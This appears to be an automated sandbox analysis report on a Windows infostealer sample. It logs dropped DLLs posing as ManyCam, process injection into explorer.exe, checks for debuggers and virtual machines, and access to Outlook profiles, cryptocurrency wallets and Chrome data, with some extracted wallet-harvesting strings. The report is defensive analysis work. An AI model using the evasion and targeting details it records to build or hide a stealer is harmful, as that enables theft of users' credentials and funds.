Source: XtDhwVrVKn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: XtDhwVrVKn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: XtDhwVrVKn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: XtDhwVrVKn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: XtDhwVrVKn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

.NET source code contains potential unpacker

Source: 10.3.OpenWith.exe.1d13926a6d0.9.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 10.3.OpenWith.exe.1d13926a6d0.9.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 10.3.OpenWith.exe.1d13926a6d0.8.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 10.3.OpenWith.exe.1d13926a6d0.8.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 10.3.OpenWith.exe.1d13926a6d0.37.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 10.3.OpenWith.exe.1d13926a6d0.37.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 10.3.OpenWith.exe.1d13926a6d0.39.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 10.3.OpenWith.exe.1d13926a6d0.39.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 10.3.OpenWith.exe.1d13926a6d0.18.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 10.3.OpenWith.exe.1d13926a6d0.18.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 10.3.OpenWith.exe.1d13926a6d0.44.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 10.3.OpenWith.exe.1d13926a6d0.44.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 10.3.OpenWith.exe.1d13926a6d0.31.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 10.3.OpenWith.exe.1d13926a6d0.31.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 10.3.OpenWith.exe.1d13926a6d0.17.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 10.3.OpenWith.exe.1d13926a6d0.17.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 10.3.OpenWith.exe.1d13926a6d0.4.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 10.3.OpenWith.exe.1d13926a6d0.4.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 10.3.OpenWith.exe.1d13926a6d0.24.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 10.3.OpenWith.exe.1d13926a6d0.24.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 10.3.OpenWith.exe.1d13926a6d0.41.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 10.3.OpenWith.exe.1d13926a6d0.41.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 10.3.OpenWith.exe.1d13926a6d0.12.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 10.3.OpenWith.exe.1d13926a6d0.12.raw.unpack, Runtime.cs	.Net Code: CoreMain

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_005242D1 push ecx; ret	2_2_005242E4
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_017A0361 push ecx; ret	2_2_017A0374
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_00922CBB push es; retf	8_3_00922CC9
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_009256ED push esp; retf	8_3_009256F0
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_00924433 push esi; ret	8_3_009244A1
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_00924860 push FAA10008h; iretd	8_3_00924866
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_009221B0 pushad ; ret	8_3_009221B8
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_00920FCF push eax; retf	8_3_00920FD0
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_009221F0 push ecx; iretd	8_3_009221FC
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B69DBA push esi; retn 000Ah	10_3_00007DF439B69DBB

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

Code function: 2_2_0052309D IsProcessorFeaturePresent,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcessHeap,GetProcessHeap,HeapAlloc,InterlockedCompareExchange,GetProcessHeap,HeapFree,

2_2_0052309D

Source: aylundwhckajft.4.dr	Static PE information: section name: .textbss
Source: aylundwhckajft.4.dr	Static PE information: section name: vfn

Source: cv099.dll.0.dr	Static PE information: real checksum: 0xaffed should be: 0xb45af
Source: aylundwhckajft.4.dr	Static PE information: real checksum: 0x0 should be: 0x7a045

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\aylundwhckajft

Jump to dropped file

Source: C:\Users\user\Desktop\XtDhwVrVKn.exe	File created: C:\Users\user\AppData\Roaming\NotepadWizardv2\cximagecrt.dll	Jump to dropped file
Source: C:\Users\user\Desktop\XtDhwVrVKn.exe	File created: C:\Users\user\AppData\Roaming\NotepadWizardv2\cv099.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\aylundwhckajft	Jump to dropped file
Source: C:\Users\user\Desktop\XtDhwVrVKn.exe	File created: C:\Users\user\AppData\Roaming\NotepadWizardv2\CrashRpt.dll	Jump to dropped file
Source: C:\Users\user\Desktop\XtDhwVrVKn.exe	File created: C:\Users\user\AppData\Roaming\NotepadWizardv2\highgui099.dll	Jump to dropped file
Source: C:\Users\user\Desktop\XtDhwVrVKn.exe	File created: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Jump to dropped file
Source: C:\Users\user\Desktop\XtDhwVrVKn.exe	File created: C:\Users\user\AppData\Roaming\NotepadWizardv2\dbghelp.dll	Jump to dropped file
Source: C:\Users\user\Desktop\XtDhwVrVKn.exe	File created: C:\Users\user\AppData\Roaming\NotepadWizardv2\cxcore099.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\cmd.exe

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\AYLUNDWHCKAJFT

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmprph.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmprph.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: dialer.exe, 00000008.00000002.2488170161.0000000003010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: dialer.exe, 00000008.00000002.2488170161.0000000003010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MP.EXEX64DBG.EXEX32DBG.EXEOLLYDBG.EXEPROCESSHA

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

API coverage: 0.2 %

Source: C:\Windows\SysWOW64\cmd.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\aylundwhckajft

Jump to dropped file

Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\OpenWith.exe

Code function: 10_3_00007DF439B78C4C GetLogicalDriveStringsW,

10_3_00007DF439B78C4C

Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: dialer.exe, 00000008.00000002.2487889593.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\|
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: dialer.exe, 00000008.00000002.2487889593.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000002.2859207051.000001D13734C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: OpenWith.exe, 0000000A.00000002.2859207051.000001D13734C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: dialer.exe, 00000008.00000003.2398803359.0000000005000000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: dialer.exe, 00000008.00000003.2398803359.0000000005000000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: OpenWith.exe, 0000000A.00000002.2859207051.000001D13734C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWmP
Source: OpenWith.exe, 0000000A.00000003.2596260451.000001D1391DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\XtDhwVrVKn.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

Code function: 2_2_0179D5E0 GetSystemInfo,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,QueryPerformanceFrequency,

2_2_0179D5E0

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

Code function: 2_2_004164A0 lstrlenW,FindFirstFileW,GetFullPathNameW,SetLastError,

2_2_004164A0

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

2_2_0052309D

Source: C:\Windows\SysWOW64\dialer.exe

Code function: 8_3_0092027F mov eax, dword ptr fs:[00000030h]

8_3_0092027F

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

Code function: 2_2_00523722 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

2_2_00523722

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

Code function: 2_2_00523077 GetProcessHeap,HeapFree,

2_2_00523077

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_00523722 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,		2_2_00523722
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_2_000001D137281A90 NtAcceptConnectPort,NtAcceptConnectPort,RtlAddVectoredExceptionHandler,		10_2_000001D137281A90

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

Section loaded: C:\Windows\SysWOW64\pla.dll target: C:\Windows\SysWOW64\cmd.exe protection: read write

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\cmd.exe

Memory written: C:\Windows\SysWOW64\explorer.exe base: 4D79C0

Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\SysWOW64\cmd.exe

Memory written: PID: 2140 base: 4D79C0 value: 55

Jump to behavior

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Process created: C:\Windows\System32\pcaui.exe c:\windows\system32\pcaui.exe" -g {11111111-1111-1111-1111-111111111111} -x {bce4b583-343f-44b8-8f95-9f76104077b9} -a "manycam" -v "manycam llc" -s "to work properly, this app must be reinstalled after you upgrade windows." -n 4 -f 0 -k 0 -e "c:\users\user\appdata\roaming\notepadwizardv2\manycam.exe
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Process created: C:\Windows\System32\pcaui.exe c:\windows\system32\pcaui.exe" -g {11111111-1111-1111-1111-111111111111} -x {bce4b583-343f-44b8-8f95-9f76104077b9} -a "manycam" -v "manycam llc" -s "to work properly, this app must be reinstalled after you upgrade windows." -n 4 -f 0 -k 0 -e "c:\users\user\appdata\roaming\notepadwizardv2\manycam.exe			Jump to behavior

Source: C:\Users\user\Desktop\XtDhwVrVKn.exe	Process created: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\SysWOW64\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process created: C:\Windows\System32\OpenWith.exe C:\Windows\system32\openwith.exe	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Program Files\Windows Media Player\wmprph.exe C:\Program Files\Windows Media Player\wmprph.exe	Jump to behavior

Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Program Files\Windows Media Player\wmprph.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Windows\System32\OpenWith.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Windows\System32\OpenWith.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

Code function: 2_2_00524748 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

2_2_00524748

Source: C:\Windows\System32\OpenWith.exe

Code function: 10_3_00007DF439B6F694 CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,

10_3_00007DF439B6F694

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

Code function: 2_2_004170D0 memset,GetVersionExW,

2_2_004170D0

Source: dialer.exe, 00000008.00000002.2488170161.0000000003010000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OllyDbg.exe

Stealing of Sensitive Information

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\System32\OpenWith.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Jump to behavior

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Bitcoin\Bitcoin-Qt			Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core			Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Source: OpenWith.exe, 0000000A.00000003.2590987136.000001D139209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: framework.set_commit("!CP:Defichain-Electrum")
Source: OpenWith.exe, 0000000A.00000003.2590987136.000001D139209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: framework.parse_path([[%AppData%\ElectronCash\config]]),
Source: OpenWith.exe, 0000000A.00000003.2590987136.000001D139209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: framework.parse_path([[%AppData%\com.liberty.jaxx]]),
Source: OpenWith.exe, 0000000A.00000003.2590987136.000001D139209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: framework.parse_path([[%AppData%\Exodus\exodus.wallet]]),
Source: OpenWith.exe, 0000000A.00000003.2590987136.000001D139209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: if string.lower(entry.Name) == "passphrase.json" then
Source: OpenWith.exe, 0000000A.00000003.2633188996.000001D1391E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum%LOCALAPPDATA%\Ethereum\keystore\nn
Source: OpenWith.exe, 0000000A.00000003.2590987136.000001D139209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: framework.parse_path([[%AppData%\Exodus\exodus.wallet]]),
Source: OpenWith.exe, 0000000A.00000003.2633188996.000001D1391E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: OpenWith.exe, 0000000A.00000003.2633188996.000001D1391E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum%LOCALAPPDATA%\Ethereum\keystore\nn

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\031db23f-f53a-4d6b-b429-cd0302ef56d3	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\3e445a25-c088-46bb-968a-82532b92e486	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\6490c938-fe3f-48ae-bc5e-e1986298f7c1	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Monochrome	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\a5f61848-f128-4a80-965b-a3000feed295	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
